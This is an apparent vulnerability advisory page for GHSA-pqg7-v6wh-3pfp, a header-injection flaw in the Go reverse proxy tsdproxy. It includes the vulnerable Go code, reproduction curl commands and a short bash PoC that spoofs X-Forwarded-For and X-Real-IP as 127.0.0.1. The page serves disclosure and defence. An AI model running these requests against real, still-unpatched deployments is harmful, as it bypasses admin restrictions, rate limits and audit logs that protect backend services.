GHSA-pqg7-v6wh-3pfp TsDProxy: X-Forwarded-For header injection allows IP spoofing in proxied requests to backend services

Not scored Published

Authenticated users can spoof IP addresses via X-Forwarded-For headers, bypassing backend IP-based access controls and rate limiting.

Exploited in the wild
Not known
Login needed
Any signed-in user
Attackable
Over the internet
Victim action needed
Not needed
Fix
None listed

What is GHSA-pqg7-v6wh-3pfp?

GHSA-pqg7-v6wh-3pfp is a vulnerability in github.com/almeidapaulopt/tsdproxy, published on 14 Jul 2026. Any signed-in user can exploit it over the network, with no action from the victim.

Official description

Description

The HTTP reverse proxy handler in tsdproxy does not strip the X-Forwarded-For (or X-Real-IP) header from incoming requests before calling r.SetXForwarded(). This allows an authenticated Tailscale user to inject arbitrary X-Forwarded-For values that are forwarded verbatim to backend services.

// internal/proxymanager/port.go -- Rewrite function
Rewrite: func(r *httputil.ProxyRequest) {
    r.SetURL(pconfig.GetFirstTarget())
    r.Out.Host = r.In.Host

    // Strips tsdproxy identity headers (correct)
    r.Out.Header.Del(consts.HeaderID)
    r.Out.Header.Del(consts.HeaderRemoteUser)
    r.Out.Header.Del(consts.HeaderXForwardedUser)
    // ... other identity headers deleted ...

    // X-Forwarded-For is NOT deleted before SetXForwarded!
    // X-Real-IP is NOT deleted at all!
    r.SetXForwarded()  // APPENDS client IP to attacker-controlled XFF list
},

Per Go's httputil.ProxyRequest.SetXForwarded() documentation: > If the inbound request has an existing X-Forwarded-For header, SetXForwarded appends the inbound request's remote address to the list.

Result when attacker sends X-Forwarded-For: 127.0.0.1:

  • Backend receives: X-Forwarded-For: 127.0.0.1, <real-tailscale-client-ip>
  • If backend reads first element as "original client", attacker appears as 127.0.0.1

X-Real-IP is not handled at all – if the attacker sets X-Real-IP: 127.0.0.1, it is forwarded to the backend verbatim without any overriding or stripping.

Many backend applications trust the first element of X-Forwarded-For (or X-Real-IP) for:

  • IP-based access control (admin panels restricted to 127.0.0.1)
  • Rate limiting tied to source IP
  • Audit logging
  • Geo-blocking or network-segment restrictions

This is particularly impactful in tsdproxy's intended use case where the backend service is only accessible through tsdproxy – making the proxy's header handling the sole enforcement point.

CVSS

CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N = 7.7

Severity

High

Affected Code / Files

  • internal/proxymanager/port.go – newPortProxy Rewrite closure
  • Missing: r.Out.Header.Del("X-Forwarded-For") before r.SetXForwarded()
  • Missing: r.Out.Header.Del("X-Real-IP") unconditional strip

Steps to Reproduce

  1. Deploy tsdproxy with a backend service that restricts /admin to 127.0.0.1 via X-Forwarded-For (e.g., Nginx with real_ip_header X-Forwarded-For and real_ip_recursive on)
  2. As an authenticated Tailscale user (non-admin), make a request through the proxy:
curl -H &#34;X-Forwarded-For: 127.0.0.1&#34; \
     https://&lt;proxy-hostname&gt;.ts.net/admin
  1. Backend receives: X-Forwarded-For: 127.0.0.1, <your-tailscale-ip>
  2. Nginx real_ip_recursive resolves left-most non-trusted IP; if tailscale range is the only trusted range, 127.0.0.1 becomes the "real" IP, bypassing admin restriction.

For the X-Real-IP vector:

curl -H &#34;X-Real-IP: 127.0.0.1&#34; \
     https://&lt;proxy-hostname&gt;.ts.net/admin
# Backend receives X-Real-IP: 127.0.0.1 verbatim

PoC Script (if used)

#!/bin/bash
# Demonstrate XFF injection through tsdproxy
PROXY_HOST=&#34;${1}&#34;  # e.g. myapp.my-tailnet.ts.net
curl -v \
  -H &#34;X-Forwarded-For: 127.0.0.1&#34; \
  -H &#34;X-Real-IP: 127.0.0.1&#34; \
  &#34;https://${PROXY_HOST}/&#34;
# Expected: backend sees XFF: 127.0.0.1, &lt;tailscale-ip&gt;
#           backend sees X-Real-IP: 127.0.0.1 (unmodified)

Impact

An authenticated Tailscale user who should only have regular user access can:

  1. Bypass IP-based admin restrictions on the backend application by spoofing X-Forwarded-For to 127.0.0.1
  2. Appear as any arbitrary IP address in audit logs
  3. Bypass rate limiting tied to source IP
  4. Bypass geo-blocking or network-segment restrictions enforced by the backend

This is especially impactful because tsdproxy is designed as the sole access point for backend services that are otherwise network-isolated – making the proxy the only enforcement boundary.

Fix: Add r.Out.Header.Del("X-Forwarded-For") and r.Out.Header.Del("X-Real-IP") in the Rewrite closure before calling r.SetXForwarded(). This ensures only the real Tailscale client IP appears in the XFF chain.

Credits

Reported by Vishal Shukla (@shukla304) using sechub.dev AI Agent

Support

If this disclosure work has been useful, sponsoring helps fund continued open-source security audits – appreciated either way.

Which versions are affected by GHSA-pqg7-v6wh-3pfp?

3 open source packages ship an affected version, including github.com/almeidapaulopt/tsdproxy.

PackageAffectedFixed in
github.com/almeidapaulopt/tsdproxy GoAll versionsNone
github.com/almeidapaulopt/tsdproxy GoAll versionsNone
github.com/almeidapaulopt/tsdproxy GoAll versionsNone

How do I fix GHSA-pqg7-v6wh-3pfp?

No fix has been published for GHSA-pqg7-v6wh-3pfp yet. Limit exposure of the affected software until one is available.

Is GHSA-pqg7-v6wh-3pfp being exploited?

There is no known exploitation of GHSA-pqg7-v6wh-3pfp in the wild and no public exploit code.

Sources

Also known as GO-2026-5982.

Is GHSA-pqg7-v6wh-3pfp in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free